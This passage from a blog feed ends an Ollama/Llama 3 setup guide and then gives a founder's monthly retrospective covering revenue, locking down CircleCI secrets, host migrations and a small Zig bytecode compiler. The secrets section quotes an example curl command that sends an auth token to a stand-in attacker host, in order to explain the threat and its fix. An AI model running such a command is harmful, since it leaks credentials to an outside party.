 src="https://mtlynch.io/notes/ollama-llama3/open-webui-create-account.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>From here, you need to download a model to use. Click the settings button:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 901px">



 &lt;a href="https://mtlynch.io/notes/ollama-llama3/open-webui-settings-button.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 901px, 98vw"
 srcset='https://mtlynch.io/notes/ollama-llama3/open-webui-settings-button_hu_319f03e82e534823.webp 300w, https://mtlynch.io/notes/ollama-llama3/open-webui-settings-button_hu_cf1fa1902f74a090.webp 600w, https://mtlynch.io/notes/ollama-llama3/open-webui-settings-button_hu_1b992330f95d623b.webp 800w, https://mtlynch.io/notes/ollama-llama3/open-webui-settings-button.webp 899w'
 src="https://mtlynch.io/notes/ollama-llama3/open-webui-settings-button.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I don&amp;rsquo;t know the differences between the models, but Llama 3 is the newest one that just came out a few days ago, so I decided to try that. It says on ollama.com that &lt;code>llama3:70b&lt;/code> is optimized for chatbot use cases, so I initially went with that one, but it was incredibly slow. I switched to &lt;code>llama3&lt;/code> and that performed decently:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 706px">



 &lt;a href="https://mtlynch.io/notes/ollama-llama3/open-webui-download-model.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 706px, 98vw"
 srcset='https://mtlynch.io/notes/ollama-llama3/open-webui-download-model_hu_87c3ac94c012bf32.webp 300w, https://mtlynch.io/notes/ollama-llama3/open-webui-download-model_hu_b586bf8bdf5aedbe.webp 600w, https://mtlynch.io/notes/ollama-llama3/open-webui-download-model.webp 704w'
 src="https://mtlynch.io/notes/ollama-llama3/open-webui-download-model.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>It&amp;rsquo;s going to sit at 100% for a while, but it&amp;rsquo;s not done until you see a popup announcing the model is fully downloaded.&lt;/p>
&lt;p>Once that&amp;rsquo;s downloaded, close the settings dialog and select &lt;code>llama3:latest&lt;/code> from the dropdown:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 721px">



 &lt;a href="https://mtlynch.io/notes/ollama-llama3/llama3-model.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 721px, 98vw"
 srcset='https://mtlynch.io/notes/ollama-llama3/llama3-model_hu_158622b7d95fed98.webp 300w, https://mtlynch.io/notes/ollama-llama3/llama3-model_hu_1d788afe4b21765d.webp 600w, https://mtlynch.io/notes/ollama-llama3/llama3-model.webp 719w'
 src="https://mtlynch.io/notes/ollama-llama3/llama3-model.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>From there, you can start playing with Llama 3. Here&amp;rsquo;s me having a conversation with Llama 3 as it pretends to be Nathan Fielder:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 780px">



 &lt;a href="https://mtlynch.io/notes/ollama-llama3/llama3-answer.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 780px, 98vw"
 srcset='https://mtlynch.io/notes/ollama-llama3/llama3-answer_hu_ff8c9fa5e7f6964c.webp 300w, https://mtlynch.io/notes/ollama-llama3/llama3-answer_hu_62d2e9cb0b172975.webp 600w, https://mtlynch.io/notes/ollama-llama3/llama3-answer.webp 778w'
 src="https://mtlynch.io/notes/ollama-llama3/llama3-answer.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>

</content:encoded></item><item><title>TinyPilot: Month 45</title><link>https://mtlynch.io/retrospectives/2024/04/</link><pubDate>Thu, 11 Apr 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/04/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-110k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I worked with the TinyPilot team to lock down access to deployment secrets without interfering with our workflows.&lt;/li>
&lt;li>I learned from my mistakes to limit downtime when migrating services between platforms.&lt;/li>
&lt;li>I wrote my first compiler, albeit an extremely simple one.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-110k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I worked with the TinyPilot team to lock down access to deployment secrets without interfering with our workflows.&lt;/li>
&lt;li>I learned from my mistakes to limit downtime when migrating services between platforms.&lt;/li>
&lt;li>I wrote my first compiler, albeit an extremely simple one.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="fill-the-gaps-in-tinypilots-release-documentation">Fill the gaps in TinyPilot&amp;rsquo;s release documentation&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Filled in the gaps we discovered on the last release.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Our March TinyPilot Pro release was the first where &lt;a href="https://mtlynch.io/retrospectives/2024/03/#it-turns-out-we-have-a-25-step-release-process">I didn&amp;rsquo;t perform any release tasks directly&lt;/a>. The release went smoothly, but there were points during the process where the next steps were unclear to the team.&lt;/p>
&lt;p>I held postmortems with the dev and support engineering teams to gather feedback about the release. Those meetings generated a lot of useful feedback about the process, and we&amp;rsquo;ve revised our internal documentation and playbooks to address the hiccups we ran into.&lt;/p>
&lt;h3 id="complete-2023-taxes">Complete 2023 taxes&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Submitted all tax documents on time.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I had complicated taxes this year because it&amp;rsquo;s my first year married filing jointly, and I was waiting on a few tax forms, but everything is now in.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2024&lt;/th>
 &lt;th>March 2024&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>13,000&lt;/td>
 &lt;td>9,100&lt;/td>
 &lt;td>&lt;font color="red">-3,900 (-30%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$82,517.42&lt;/td>
 &lt;td>$107,809.83&lt;/td>
 &lt;td>&lt;font color="green">+$25,292.41 (+31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,373.65&lt;/td>
 &lt;td>$2,442.12&lt;/td>
 &lt;td>&lt;font color="red">-$931.53 (-28%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$86,181.77&lt;/td>
 &lt;td>$110,542.65&lt;/td>
 &lt;td>&lt;font color="green">+$24,360.88 (+28%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$23,599.09&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3,193.73&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$20,405.36 (-86%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>March was TinyPilot&amp;rsquo;s strongest month of sales revenue in history, narrowly beating &lt;a href="https://mtlynch.io/retrospectives/2022/12/#tinypilot-stats">our previous record&lt;/a> by $600. Profit at the one-month granularity is down, but the three-month average is the more meaningful metric, and that&amp;rsquo;s looking strong.&lt;/p>
&lt;p>Visits are down from last month but only because February had an atypical surge in visits from my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">year six review&lt;/a> post.&lt;/p>
&lt;h2 id="tightening-access-to-tinypilots-production-secrets">Tightening access to TinyPilot&amp;rsquo;s production secrets&lt;/h2>
&lt;p>Over the past few months, we&amp;rsquo;ve been &lt;a href="https://mtlynch.io/retrospectives/2024/03/#it-turns-out-we-have-a-25-step-release-process">improving TinyPilot&amp;rsquo;s release process&lt;/a> so that it&amp;rsquo;s more automated and less dependent on me.&lt;/p>
&lt;p>In reviewing our release workflow, we realized that too many team members had access to production secrets. Production secrets include things like authentication tokens for publishing new versions of our website or the TinyPilot application.&lt;/p>
&lt;p>We&amp;rsquo;re a small team, so in our case, &amp;ldquo;too many&amp;rdquo; team members having access meant five people instead of one. Still, four people had access to production secrets that didn&amp;rsquo;t need them.&lt;/p>
&lt;p>Most TinyPilot repositories are &lt;a href="https://www.usenix.org/publications/login/october-2014-vol-39-no-5/making-push-green-reality">&amp;ldquo;push on green,&amp;rdquo;&lt;/a> meaning that we push every code change to production after it passes our automated tests on CircleCI, our continuous integration service.&lt;/p>
&lt;p>We store our secrets as CircleCI environment variables. This initially seemed fine because environment variables are write-only, meaning that you can&amp;rsquo;t read the values after you store them.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/04/ci-env-vars.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/04/ci-env-vars_hu_a0f29b44be400520.webp 300w, https://mtlynch.io/retrospectives/2024/04/ci-env-vars_hu_6ebc967a2e80dec0.webp 600w, https://mtlynch.io/retrospectives/2024/04/ci-env-vars_hu_e83cfcf86ad36bc6.webp 800w, https://mtlynch.io/retrospectives/2024/04/ci-env-vars.webp 1042w'
 src="https://mtlynch.io/retrospectives/2024/04/ci-env-vars.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>CircleCI&amp;rsquo;s admin interface only shows a portion of the values of environment variables, and only the CircleCI admin can see them. Note that I&amp;rsquo;m showing fake values.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Once we started thinking more critically about protecting secrets, we realized that despite what CircleCI&amp;rsquo;s web UI suggested, all five team members effectively had access to our environment variables. A malicious team member could extract secrets in one of two ways:&lt;/p>
&lt;ol>
&lt;li>They could create a new branch in our code repository and then push a change to our CircleCI config file that exfiltrates a secret to a remote server they control, like &lt;code>curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN&lt;/code>&lt;/li>
&lt;li>They could SSH in to CircleCI for any job and type &lt;code>echo $AUTH_TOKEN&lt;/code> on the command line.&lt;/li>
&lt;/ol>
&lt;p>(1) was semi-possible to detect, but it wasn&amp;rsquo;t something we ever checked. (2) was impossible to detect, as CircleCI doesn&amp;rsquo;t log SSH sessions.&lt;/p>
&lt;p>The attack would have to come from within the TinyPilot team, as third-party contributors don&amp;rsquo;t have access to CircleCI environment variables at all.&lt;/p>
&lt;p>We looked into tightening access, and CircleCI&amp;rsquo;s documentation recommended storing security-sensitive secrets in &amp;ldquo;contexts.&amp;rdquo; Contexts are still environment variables but with additional access controls.&lt;/p>
&lt;p>Security contexts only allowed you to restrict access to a particular set of people. So, we could have maintained our existing workflow by giving everyone access to the secrets, but then we&amp;rsquo;re back to square one. We could have arbitrarily decided that some subset of the team is trusted and has to initiate every deployment, but that would have added tremendous friction.&lt;/p>
&lt;p>We reached out to CircleCI support, and they said they were coincidentally about to release something that would solve our problem. Two weeks later, CircleCI launched &lt;a href="https://circleci.com/changelog/expression-based-context-restrictions/">expression-based context restrictions&lt;/a>, which did, in fact, perfectly solve our problem.&lt;/p>
&lt;p>CircleCI&amp;rsquo;s expression-based restrictions allowed us to add restrictions to contexts beyond just an allowlist of users. We could restrict secrets to certain branches and disable access when SSH is enabled. We ended up with expressions like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>pipeline.git.branch == &lt;span style="color:#ed9d13">&amp;#34;master&amp;#34;&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">and&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">not&lt;/span> job.ssh.enabled
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This expression mitigates attack (1) above because a malicious team member who tries to exfiltrate a secret using a branch would not have access to the secret in their branch.&lt;/p>
&lt;p>The expression mitigates attack (2) by just making the secret unavailable when a user initiates a CircleCI job with SSH access.&lt;/p>
&lt;p>Our &lt;code>master&lt;/code> branches require at least one approval for any change, so this system is still vulnerable to an attack from two team members doing something malicious together. One corrupt team member could introduce a code change that exfiltrates a secret, and their co-conspirator could approve it. But this would be a particularly noticeable attack, as the change would be in a file we frequently work on, and there&amp;rsquo;d be a clear audit trail of who put it there.&lt;/p>
&lt;p>Overall, I&amp;rsquo;m happy with CircleCI&amp;rsquo;s expression-based context restrictions. If you&amp;rsquo;re on a team where CI has access to production secrets, I recommend thinking about whether too many team members have access to secrets they don&amp;rsquo;t need.&lt;/p>
&lt;h2 id="improving-my-process-for-migrating-services-between-hosts">Improving my process for migrating services between hosts&lt;/h2>
&lt;p>When I started TinyPilot, I tended to host services on large providers like Google Cloud Platform and Amazon Web Services. Over the last four years, I&amp;rsquo;ve come to prefer smaller vendors like Netlify and Fly.io.&lt;/p>
&lt;p>Most of TinyPilot&amp;rsquo;s services run on smaller hosting platforms, but we still had a couple of services I set up at the beginning and never moved, so I decided to consolidate.&lt;/p>
&lt;p>One of the migrations was a bit bumpy, and I used the lessons to make the next one smoother.&lt;/p>
&lt;h3 id="the-firebase-to-netlify-migration-bumpy">The Firebase to Netlify migration (bumpy)&lt;/h3>
&lt;p>The &lt;a href="https://tinypilotkvm.com">TinyPilot website&lt;/a> is just a static site, so we can host it anywhere. It was on Firebase hosting, as that was what I was using for everything in 2020, and it&amp;rsquo;s been fine. But in rearchitecting our deployment flow around security contexts, I realized it was a good opportunity to move from Firebase to my current preferred host for static sites, Netlify.&lt;/p>
&lt;p>It seemed like it would be a simple migration. There&amp;rsquo;s no database or anything to keep in sync. I just had to start publishing the website on Netlify and update my DNS records to point to the new host.&lt;/p>
&lt;p>Or so I thought.&lt;/p>
&lt;p>I published to Netlify, updated the DNS entries for &lt;code>tinypilotkvm.com&lt;/code>, tried visiting the site, and: TLS error.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/04/tls-error.webp">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/04/tls-error_hu_ac87be4f060a3550.webp 300w, https://mtlynch.io/retrospectives/2024/04/tls-error_hu_22e8a4529151b731.webp 600w, https://mtlynch.io/retrospectives/2024/04/tls-error_hu_bc2a7f0d0465504.webp 800w, https://mtlynch.io/retrospectives/2024/04/tls-error.webp 1022w'
 src="https://mtlynch.io/retrospectives/2024/04/tls-error.webp" alt="Screenshot of Firefox visiting tinypilotkvm.com, and the browser shows &amp;#39;Warning: Potential Security Risk Ahead&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Immediately after updating DNS entries, I saw a TLS error when visiting the TinyPilot website.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That&amp;rsquo;s bad. Nobody wants to shop on a site right after the browser just told them it was going to steal their credit card information.&lt;/p>
&lt;p>Worse, I made this change at 9:30 AM ET on a Thursday, so it was during hours when we receive most of our paying customers.&lt;/p>
&lt;p>Had Netlify not generated the TLS certificate yet? I checked the TLS error, and it turned out that my browser was complaining about a TLS certificate from Firebase. Huh? Wouldn&amp;rsquo;t Firebase still be serving the old site with the bad certificate?&lt;/p>
&lt;p>My mental model of the visitors was that they&amp;rsquo;d fall into two buckets depending on how fresh the information was in their DNS server:&lt;/p>
&lt;ol>
&lt;li>They query a DNS server that has the old Firebase IP address -&amp;gt; They see the old Firebase version working as it did before I updated DNS.&lt;/li>
&lt;li>They query a DNS server that has the new Netlify IP address -&amp;gt; They see the new Netlify version working.&lt;/li>
&lt;/ol>
&lt;p>Even now, I don&amp;rsquo;t understand why I was seeing a Firebase certificate error. The only explanation I can imagine is that Firebase reacts to DNS changes and immediately invalidates certificates when the associated DNS records change. But the Firebase admin dashboard was still showing my certificates as valid.&lt;/p>
&lt;p>As a workaround, I configured Firebase to redirect visitors to &lt;code>netlify-preview.tinypilotkvm.com&lt;/code>, the staging domain I had set up for the new site the day before. That worked, so customers stopped seeing the TLS error. I wish I&amp;rsquo;d chosen a less weird staging domain than &lt;code>netlify-preview&lt;/code> because it strongly suggests to customers that something is wonky, but it was better than a TLS error.&lt;/p>
&lt;p>For a full day after, the old Firebase site was still receiving traffic, but it slowly dwindled to zero over the course of a few days. After a week, I shut down the Firebase site.&lt;/p>
&lt;h3 id="the-aws-to-flyio-migration-smooth">The AWS to Fly.io migration (smooth)&lt;/h3>
&lt;p>TinyPilot uses a &lt;a href="https://github.com/mtlynch/logpaste">LogPaste&lt;/a> server to collect diagnostic logs from users. It&amp;rsquo;s a basic Go app, and my preferred platform for Go services is Fly.io. But TinyPilot&amp;rsquo;s LogPaste server was running on AWS LightSail, so I decided to migrate from LightSail to Fly.io.&lt;/p>
&lt;p>Migrating LogPaste was slightly harder than migrating the TinyPilot website, as LogPaste also has a SQLite database. But it was also lower stakes, as it wouldn&amp;rsquo;t be a disaster if our LogPaste server went down for a couple of days.&lt;/p>
&lt;p>The day before the migration, I dialed down the TTL on the &lt;code>logs.tinypilotkvm.com&lt;/code> DNS entries to one minute. DNS servers don&amp;rsquo;t have to respect the TTL, but I figured it was helpful that I limit caching for the ones that do.&lt;/p>
&lt;p>I also deployed a staging version of LogPaste to Fly.io under the domain name &lt;code>logs2.tinypilotkvm.com&lt;/code>. That way, if I had to pull a redirect trick like I did with the TinyPilot website, I&amp;rsquo;d have a not-too-weird URL to point users to.&lt;/p>
&lt;p>I also prepared a migration script I could run to move data from the old LightSail version to the new Fly.io version. It was a simple bash script that &lt;a href="https://github.com/mtlynch/logpaste/blob/5509d61613f0bbba709ab9f093930c9696c318a8/dev-scripts/download-prod-db">downloaded the production database&lt;/a> from the Amazon S3 bucket and &lt;a href="https://github.com/mtlynch/logpaste/blob/master/dev-scripts/upload-prod-db">uploaded it&lt;/a> to the storage bucket backing the new Fly.io server.&lt;/p>
&lt;p>On deployment day, I ran the migration as soon as I woke up at 7 AM. That way, slightly fewer people would be affected if there were a temporary outage.&lt;/p>
&lt;p>Fortunately, the migration went smoothly. All the DNS servers in my chain seemed to respect the 1-minute TTL, as the logs for my Fly.io server showed LogPaste processing requests to &lt;code>logs.tinypilotkvm.com&lt;/code> almost immediately.&lt;/p>
&lt;p>I left the LightSail version up for another week and then deleted it when I confirmed it wasn&amp;rsquo;t receiving traffic anymore.&lt;/p>
&lt;h3 id="a-general-strategy-for-migrating-services-between-hosts">A general strategy for migrating services between hosts&lt;/h3>
&lt;div class="notice notice-warning">
 &lt;strong>Note&lt;/strong>: This is probably not the optimal strategy for migrating services. I suspect that there are better practices for minimizing certificate errors, but this is better than what I was doing before.
&lt;/div>

&lt;p>Next time I have to move a service between hosts, I&amp;rsquo;m going to follow the process that I learned this month.&lt;/p>
&lt;p>As a general example, imagine that you&amp;rsquo;re moving a service that you host at the URL &lt;code>example.com&lt;/code> from platform A to platform B.&lt;/p>
&lt;h4 id="preparation-day">Preparation day&lt;/h4>
&lt;p>A day or two before you plan to migrate, perform these steps:&lt;/p>
&lt;ol>
&lt;li>Deploy your service to platform B.&lt;/li>
&lt;li>Create a certificate for your service on platform B under a subdomain.
&lt;ul>
&lt;li>This is usually under an &amp;ldquo;add a custom domain&amp;rdquo; setting on your hosting platform.&lt;/li>
&lt;li>Choose a subdomain that won&amp;rsquo;t weird out your customers too much if they see it, like &lt;code>www2.example.com&lt;/code> or &lt;code>web.example.com&lt;/code>.&lt;/li>
&lt;li>Don&amp;rsquo;t choose a subdomain that looks scary to end-users, like &lt;code>insecure-staging.example.com&lt;/code>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Add DNS entries for the new subdomain pointing to platform B.&lt;/li>
&lt;li>Make sure you can visit platform B through your new subdomain with no TLS errors in your browser.&lt;/li>
&lt;li>Reduce the TTL on the production &lt;code>example.com&lt;/code> DNS entries to something low, like 1-5 minutes.&lt;/li>
&lt;li>Generate a certificate for the production &lt;code>example.com&lt;/code> domain on platform B.&lt;/li>
&lt;/ol>
&lt;h4 id="migration-day">Migration day&lt;/h4>
&lt;p>On the day of the migration, perform these steps.&lt;/p>
&lt;ol>
&lt;li>Choose time when traffic is low.
&lt;ul>
&lt;li>If you might need support from your teammates, make sure they&amp;rsquo;re available and aware of the migration.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Update DNS entries for &lt;code>example.com&lt;/code> to point to platform B instead of platform A.&lt;/li>
&lt;li>Check that you can still access your service through the main &lt;code>example.com&lt;/code> URL.&lt;/li>
&lt;/ol>
&lt;p>If you see TLS errors for platform A when visiting your service after the DNS changes:&lt;/p>
&lt;ul>
&lt;li>As a temporary workaround, configure platform A to redirect traffic to the staging subdomain you set up on preparation day.&lt;/li>
&lt;li>Use &lt;code>dig&lt;/code> to check when the DNS record expires from your local computer&amp;rsquo;s perspective, and see if the TLS error goes away after the DNS entry expires.&lt;/li>
&lt;/ul>
&lt;h4 id="decommissioning-the-old-server">Decommissioning the old server&lt;/h4>
&lt;p>Wait at least 24 hours after the migration, and then perform these steps:&lt;/p>
&lt;ol>
&lt;li>Verify that traffic to platform A has stopped.&lt;/li>
&lt;li>Decommission your server on platform A.&lt;/li>
&lt;li>Verify that your service is still accessible without platform A.&lt;/li>
&lt;li>Restore the TTL on your production DNS entries to something sensible, like 60 minutes.&lt;/li>
&lt;li>Remove the staging subdomain from your DNS entries.&lt;/li>
&lt;/ol>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="writing-a-simple-compiler">Writing a simple compiler&lt;/h3>
&lt;p>To learn more about Zig, interpreters, and Ethereum, I&amp;rsquo;ve been working for the past few months on a Zig implementation of the Ethereum virtual machine called &lt;a href="https://github.com/mtlynch/eth-zvm">eth-zvm&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;d written &lt;a href="https://mtlynch.io/zig-extraneous-build/">performance benchmarks for eth-zvm&lt;/a>, but the programs they executed were just chunks of Ethereum bytecode, like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>60016000526001601ff3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That bytecode is difficult to edit. When I wanted to modify my tests, I had to decompile the bytecode to something human-readable, make my changes, then recompile everything back to raw bytes.&lt;/p>
&lt;p>Ethereum has a human-readable representation of bytecode called mnemonic format, so the mnemonic equivalent of the bytecode above looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>PUSH1 0x01
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 0x00
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>MSTORE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 0x01
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PUSH1 0x1f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RETURN
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s still low-level, but it&amp;rsquo;s easier to understand than raw bytes.&lt;/p>
&lt;p>I wanted to store my tests in mnemonic format rather than bytecode. I looked for a mnemonic to bytecode compiler, but I couldn&amp;rsquo;t find anything that worked out of the box on the command-line.&lt;/p>
&lt;p>It seemed like an easy enough task, so I decided to write my own &lt;a href="https://github.com/mtlynch/eth-zvm/tree/b21747c6873cc2187c83298032e2869d45da5274/src/mnemonic-compiler">mnemonic to bytecode compiler&lt;/a>.&lt;/p>
&lt;p>As far as compilers go, mine is about as simple as it gets. There&amp;rsquo;s almost a perfect 1:1 mapping of every possible input token and every byte of output.&lt;/p>
&lt;p>Here&amp;rsquo;s a very simple program:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;RETURN&amp;#39;&lt;/span> | ./mnc /dev/stdin /dev/stdout
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>f3
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;a href="https://www.evm.codes/#f3?fork=cancun">opcode value for &lt;code>RETURN&lt;/code>&lt;/a> is &lt;code>0xf3&lt;/code>, so the output bytecode is just &lt;code>f3&lt;/code>.&lt;/p>
&lt;p>It gets a bit more complicated when an opcode has an argument, like &lt;code>PUSH1&lt;/code>, which pushes a single byte onto the stack:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;PUSH1 0x42&amp;#39;&lt;/span> | ./mnc /dev/stdin /dev/stdout
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">6042&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I can also use &lt;code>PUSH32&lt;/code>, which pushes a 32-byte value onto the stack:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;PUSH32 0x42&amp;#39;&lt;/span> | ./mnc /dev/stdin /dev/stdout
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>7f0000000000000000000000000000000000000000000000000000000000000042
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I implemented support for inline comments, so here&amp;rsquo;s my example application from above, but with comments:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#40ffff">tempfile&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> cat &lt;span style="color:#ed9d13">&amp;lt;&amp;lt; EOF &amp;gt; &amp;#34;${tempfile}&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">// Store 0x01 in memory as a 32-byte word.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">PUSH1 0x01
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">PUSH1 0x00
